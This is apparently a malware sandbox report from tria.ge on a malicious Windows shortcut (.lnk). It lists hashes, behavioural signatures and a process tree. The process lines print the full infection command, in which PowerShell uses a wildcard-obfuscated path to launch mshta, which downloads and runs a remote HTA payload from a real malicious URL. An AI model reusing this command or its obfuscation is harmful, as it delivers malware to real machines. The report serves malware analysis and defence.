Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
142s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
22/12/2023, 12:11
Static task
static1
Behavioral task
behavioral1
Sample
4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
Resource
win10v2004-20231215-en
General
-
Target
4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk
-
Size
523KB
-
MD5
199a9ff6c65f14f7ab95639c1c7106fd
-
SHA1
548873399f86d22f90118199fdc20e084c4c2258
-
SHA256
4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03
-
SHA512
e145b4d06e2c6ec3f82686c495eaab917f0525fbff85961247b6fe0be5cc773e6d86aa84da03df7f9a6a5f304bd37398e659b1676626489a2569abfb20970a31
-
SSDEEP
12:8hlKm/VnEXvk44X3ojsqzKtnWNt2eUcCsvXemCKeX5yXOlL6EWKDiNL4t2YlJZa:8hptnHYVKVWue/CWOmC7JLha5+
Malware Config
Extracted
http://cw95649.tw1.ru/spHTA.hta
Signatures
-
Blocklisted process makes network request 10 IoCs
flow pid Process 14 2948 mshta.exe 17 2948 mshta.exe 23 2948 mshta.exe 25 2948 mshta.exe 38 2948 mshta.exe 39 2948 mshta.exe 40 2948 mshta.exe 41 2948 mshta.exe 44 2948 mshta.exe 45 2948 mshta.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3916 powershell.exe 3916 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3916 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 3212 wrote to memory of 3916 3212 cmd.exe 87 PID 3212 wrote to memory of 3916 3212 cmd.exe 87 PID 3916 wrote to memory of 2948 3916 powershell.exe 89 PID 3916 wrote to memory of 2948 3916 powershell.exe 89
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\4b02b3d451d0723c892760dc618433603287e7858474ef8ca42352e06ff60d03.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3212 -
C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://cw95649.tw1.ru/spHTA.hta'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" http://cw95649.tw1.ru/spHTA.hta3⤵
- Blocklisted process makes network request
PID:2948
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82